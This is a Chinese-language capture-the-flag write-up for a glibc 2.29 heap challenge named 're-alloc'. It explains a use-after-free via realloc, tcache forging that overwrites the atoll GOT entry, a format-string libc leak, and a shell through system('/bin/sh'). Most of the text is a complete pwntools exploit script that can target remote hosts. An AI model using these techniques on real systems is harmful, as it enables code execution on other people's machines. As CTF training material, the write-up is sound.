题目分析

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

是一个典型的菜单类程序

1
2
3
4
5
6
7
8
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
🍊 RE Allocator 🍊
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$ 1. Alloc $
$ 2. Realloc $
$ 3. Free $
$ 4. Exit $
$$$$$$$$$$$$$$$$$$$$$$$$$$$
  1. Alloc: index只能取0或1;size必须<=0x78;然后使用realloc(0, size)分配,通过源码可以看出,这就相当于malloc(size)。这里存在null byte overflow(然而没什么用似乎,一开始我一直卡在这里想如何利用,完全没注意到后一个漏洞。。。
1
2
3
/* realloc of null is supposed to be same as malloc */
if (oldmem == 0)
return __libc_malloc (bytes);
  1. Realloc: size同样<=0x78。realloc有几种情况:请求大小自己可以满足;尝试向后扩展(top chunk或!inuse (next));__int_malloc请求新块。(这里存在UAF,输入size为0
  2. Free:realloc(ptr, 0)相当于free(ptr),同时将指针数组置空。
1
2
3
4
if (bytes == 0 && oldmem != NULL)
{
__libc_free (oldmem); return 0;
}

libc_version: glibc 2.29 with tcache。该版本libc的源码。下一篇文章说一下如何确定的libc版本,如何确定的有tcache,以及如何使用指定libc运行程序。

此外,这个版本中出现了对tcache double free的一个检查机制

总体思路

用类似fastbin attack的方式伪造tcache,将atoll_got放入到两个大小的tcache链表上。

第一次利用其中一个将期修改为printf_got,在read_long中构造format string vulnerability,泄露栈上的__libc_start_main地址,也就是main函数的返回地址。

第二次将atoll_got修改为system地址,输入/bin/sh执行。

伪造tcache chunk

只要满足以下条件就会使用tcache,可以发现并没有对counts进行检查,只要非空就会进行分配。同样tcache_get里也只是--(tcache->counts[tc_idx]),没有检查。

1
2
3
4
5
6
7
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}

伪造

1
2
3
4
5
6
7
8
allocate(0, 0x18, "A")
realloc(0, 0, "") # free
realloc(0, 0x18, p64(atoll_got)) # 修改next
allocate(1, 0x18, "A") # 重新分配出来,使得atoll_got打头,此时counts=0,但并不妨碍
realloc(0, 0x28, "A") # 使其向后扩展,从top chunk中切割
free(0) # 第一次放进0x30 tcache
realloc(1, 0x28, "A"*0x10) # 覆盖key,绕过double free检查
free(1) # 第二次放进0x30 tcache

用同样的方法,再伪造一个

get shell

atoll_got修改为printf_plt,构造format string vulnerability

1
2
3
4
5
allocate(0, 0x18, p64(printf_plt))        # 修改atoll_got为printf_plt
io.sendlineafter("Your choice: ", "1")
io.sendlineafter("Index:", "Z%23$llx\n") # 泄露 __libc_start_main
io.recvuntil("Z")
libc_base = int(io.recvline().strip(b"\n"), 16) - 0x26B6B

修改atoll_got为system,get shell

1
2
3
4
5
6
7
8
io.sendlineafter("Your choice: ", "1")
# gdb.attach(io, "b read_long")
io.sendlineafter("Index:", "A\x00") # 相当于输入1
io.sendlineafter("Size:", "%55x") # 相当于输入0x38
io.sendlineafter("Data:", p64(system_addr))

io.sendlineafter("Your choice: ", "1")
io.sendlineafter("Index:", "/bin/sh")

exploit

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python3

from pwn import *

context(os="linux", arch="amd64", log_level="debug")
localfile = "./re-alloc"
locallibc = "libc.so.6"
pf = lambda name,num :log.info(name + ": 0x%x" % num)
g = lambda x :next(libc.search(asm(x)))

def allocate(idx, size, data):
io.recvuntil("Your choice: ")
io.sendline("1")
io.recvuntil("Index:")
io.sendline(str(idx))
io.recvuntil("Size:")
io.sendline(str(size))
io.recvuntil("Data:")
io.send(data)

def realloc(idx, size, data):
io.recvuntil("Your choice: ")
io.sendline("2")
io.recvuntil("Index:")
io.sendline(str(idx))
io.recvuntil("Size:")
io.sendline(str(size))
if size != 0:
io.recvuntil("Data:")
io.send(data)

def free(idx):
io.recvuntil("Your choice: ")
io.sendline("3")
io.recvuntil("Index:")
io.sendline(str(idx))

def exp():
atoll_got = elf.got["atoll"]
printf_plt = elf.plt["printf"]
system_off = libc.sym["system"]

allocate(0, 0x18, "A")
realloc(0, 0, "")
realloc(0, 0x18, p64(atoll_got))
allocate(1, 0x18, "A")
realloc(0, 0x28, "A")
free(0)
realloc(1, 0x28, "A"*0x10)
free(1)

allocate(0, 0x38, "A")
realloc(0, 0, "")
realloc(0, 0x38, p64(atoll_got))
allocate(1, 0x38, "A")
realloc(0, 0x48, "A")
free(0)
realloc(1, 0x48, "A"*0x10)
free(1)

allocate(0, 0x18, p64(printf_plt))
io.sendlineafter("Your choice: ", "1")
io.sendlineafter("Index:", "Z%23$llx\n")
io.recvuntil("Z")
libc_base = int(io.recvline().strip(b"\n"), 16) - 0x26B6B
pf("libc base", libc_base)
system_addr = libc_base + system_off

io.sendlineafter("Your choice: ", "1")
# gdb.attach(io, "b read_long")
io.sendlineafter("Index:", "A\x00")
io.sendlineafter("Size:", "%55x")
io.sendlineafter("Data:", p64(system_addr))

io.sendlineafter("Your choice: ", "1")
io.sendlineafter("Index:", "/bin/sh")

io.interactive()

argc = len(sys.argv)
if argc == 1:
io = process(localfile)
else:
if argc == 2:
host, port = sys.argv[1].split(":")
elif argc == 3:
host = sys.argv[1]
port = sys.argv[2]
io = remote(host, port)

elf = ELF(localfile)
libc = ELF(locallibc)
exp()

reference

  1. https://n0nop.com/2020/03/06/pwn-heap-re-alloc/